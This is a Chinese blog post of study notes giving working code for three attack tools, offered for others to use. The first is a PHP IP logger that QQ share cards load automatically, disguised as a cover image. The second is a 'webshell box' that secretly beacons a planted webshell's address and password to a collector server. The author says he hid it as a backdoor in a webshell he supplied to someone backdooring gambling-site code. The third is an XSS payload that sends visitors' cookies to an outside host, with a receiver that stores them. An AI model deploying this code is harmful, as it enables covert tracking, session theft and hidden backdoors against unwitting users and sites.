ip探针,webshell箱子和xss平台

March 29, 2020 · 默认分类 · 学习笔记 · 676次阅读

前言

水水文章吧(主要是有人催),有人叫我教一下怎么写webshell箱子,而空白师傅看我天天打游戏看不下去了于是开始鞭策冬冬
辣,爷,就,打,打,字,⑧

ip探针

原理:php文件记录访问ip
那该怎么写呢,首先定义一个记录ip的函数

function IP() {
        if (getenv('HTTP_CLIENT_IP')) {
        $ip = getenv('HTTP_CLIENT_IP');
        }
        elseif (getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
        }
        elseif (getenv('HTTP_X_FORWARDED')) {
        $ip = getenv('HTTP_X_FORWARDED');
        }
        elseif (getenv('HTTP_FORWARDED_FOR')) {
        $ip = getenv('HTTP_FORWARDED_FOR');
 
        }
        elseif (getenv('HTTP_FORWARDED')) {
        $ip = getenv('HTTP_FORWARDED');
        }
        else {
        $ip = $_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }
//然后把获取的ip输出
$ip = IP();
date_default_timezone_set("Asia/Shanghai");//设置时区
$time = date("Y.m.d,h:i:sa");//为了方便还是加个日期吧
$txt = 'ip:'.$ip."\r\n".'time:'.$time."\r\n"."\r\n";//拼接
$op = fopen('ip'.'.txt','a+');//整个ip.txt 
fwrite($op,$txt);//给爷写进去
fclose($op);//给爷关了

好了,大概就是这个样子
2020-03-29T12:13:59.png

玩法儿扩展

有个思路啊,很早以前就有了,手机扣扣自动加载分享链接的封面图片,那种分享链接是xml消息,我们自己写个xml转换之后发出来就行了,用imagecreatefromjpeg函数把php文件伪装成图像资源,结合qq自动加载cover图片实现对方自动访问php文件,最终实现发消息直接得ip.
不用点进链接!看到这个封面图片就可以获取到
类似这种消息
2020-03-29T12:37:28.png

<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<msg serviceID="146" templateID="1" action="web" brief="在吗" sourceMsgId="0" url="跳转地址" flag="0" adverSign="0" multiMsgFlag="0">
<item layout="2"><picture cover="cover属性里面写php的地址" w="0" h="0" />
<title>漂亮妹妹</title><summary>To1y5是萌妹</summary>
</item><source name="To1y5" icon="" action="app" appid="-1" /></msg>

不过有丶小问题,这样发出去,图片会过腾讯服务器,收信地址里也经常会出现一些腾讯的ip,所以咱得添点东西来帮咱把腾讯的ip识别出来
多获取个useragent
就彳亍辣,腾讯的ip不带ua的
我懒得贴代码了,自个儿写吧,爷比较不羁,不爱惯着读者

找个儿小黑阔测测吧

又是风和日丽的一天,冬冬在下午一点就早早的起了床,重复着水群装逼的养生生活,一段小视频突进了冬冬的聊天窗口,点开一看,原来又是大黑阔给gov挂了黑页了呀,太厉害了,冬冬要去拜师(收集犯罪证据)
-4a6a4e46770221fb_meitu_1.jpg
是啊,你见过哪个黑阔玩QQ都挂代理吗
2020-03-29T14:24:41.png
害,四川老乡,得罪了,出狱之后别来砍我就行
2020-03-29T14:25:52.png
得嘞,连着视频证据带上ip打包一起提交给网警蜀黍咯

简单的webshell箱子

事情是这样的,前俩天有个卖bc源码的,问我要免杀的马儿,他要往他源码里加后门,我一听,乐了,黑吃黑呀,于是我就在给他的马子里面也加个后门,那就黑吃黑吃黑吧,老千层饼了.
不过这个b的要求很几把头疼,要免杀吧,还得操作也免杀,那就只能给他上冰蝎咯,冰蝎又不会用,还死活要让我教他操作数据库,还要教SQL,真是没户口本的玩意儿.

原理
我竟然还写原理还画图,太萌新向了,为了骗萌新的流量而放弃自尊的冬冬
2020-03-29T14:50:34.png

发信部分:

$self = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];//当前马子的地址
$salt = base64_decode('aHR0cCUzQS8vMTI3LjAuMC4xL2lwLnBocCUzRmlkJTNE');
//http://127.0.0.1/ip.php?id=
$uid = '&uid=';
$url = urldecode($salt.$password.$uid.$self);//拼接url  
//http://127.0.0.1/ip.php?id=$password&uid=http://127.0.0.1/ip.php
$fp= fopen($url,'r');//访问$url

收信部分:

date_default_timezone_set("Asia/Shanghai");//设置时区
$time = date("Y.m.d,h:i:sa")."\r\n";//时间
$loc = $_GET['uid']."\r\n";//获取马子地址
$txt = 'time: '.$time."\r\n".'loc:'.$loc;//拼接
$op = fopen($_GET['id'].'.txt','a+'); //id是获取的密码.密码做文件名
fwrite($op,$txt);//给爷打开写进去
fclose($op);//给爷关上

再补充些踩到的坑,发信的部分是用的fopen函数,有时候他会莫名其妙的报warning,推测可能是某些waf,因为请求的地址不是https协议就给你拦了,当然也可能是其他原因,总之邪门的很,有waf的站fopen不到,无waf的就不报warning,而有的带waf的就算warning了有时候还是可以记录到,我佛了.我最后把收信地址改成了https的链接,然后加了句

@error_reporting(0);
@error_reporting(E_WARNING);

问题差不多就ok了,那么我为什么要用fopen来请求而不直接用xss平台现成的模块或者直接src引用呢,因为我用冰蝎连的时候,html标签他压根就不解析呀呀呀呀.
补充个安全问题,因为之前为了方便,文件名用的是参数id的值,并且未过滤,在低版本的php环境下,是可能造成截断的.所以建议大家自己写个过滤.免得被黑吃黑吃黑吃黑.老千层饼了

继续咕咕咕咕咕咕咕了,一篇文章写七天hhhhhh,我他妈的寒假作业还没写完啊怎么就要开学了!!

清明节,打不了LOL了,来更一下文

道理我都懂,可我为什么还是没做作业啊啊啊啊啊

xss平台

一样的啊,先在被攻击站点运行脚本获取相关信息后发给设定好的收信地址.

某xss平台默认模块的代码:

(function(){(new Image()).src='https://xsshs.cn/xss.php?do=api&id=rPho&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if(''==1){keep=new Image();keep.src='https://xsshs.cn/xss.php?do=keepsession&id=rPho&url='+escape(document.location)+'&cookie='+escape(document.cookie)};
//可以看到这段js首先请求的地址是https://xsshs.cn/xss.php?do=api&id=rPho&location=&toplocation=&cookie=&opener=

emmm,我还想试试弹个窗呢
2020-04-04T15:23:21.png
2020-04-04T15:25:13.png

那咱如何写个自己的xss平台呢
发信就抄他的吧....,把url换成自己收信的
然后收信的代码就跟前面上一节一样,把url里面的location还有cookie取出来就行

$location = $_GET['location'];//取location
$cookie = $_GET['cookie'];//取cookie
date_default_timezone_set("Asia/Shanghai");//设置时区
$time = date("Y.m.d,h:i:sa")."\r\n";//时间
$txt = 'time: '.$time."\r\n".'loc:'.$location."\r\n".'cookie:'.$cookie."\r\n"."\r\n".;//拼接
//然后继续写个txt存起来呗

我就不演示了

总结

前面三个都换汤不换药的东西,只是最近恰好要用上了,就顺便写个笔记,给其他需要用到的人行个方便,全文并无技术含量,别骂了别骂了

none

最后编辑于2个月前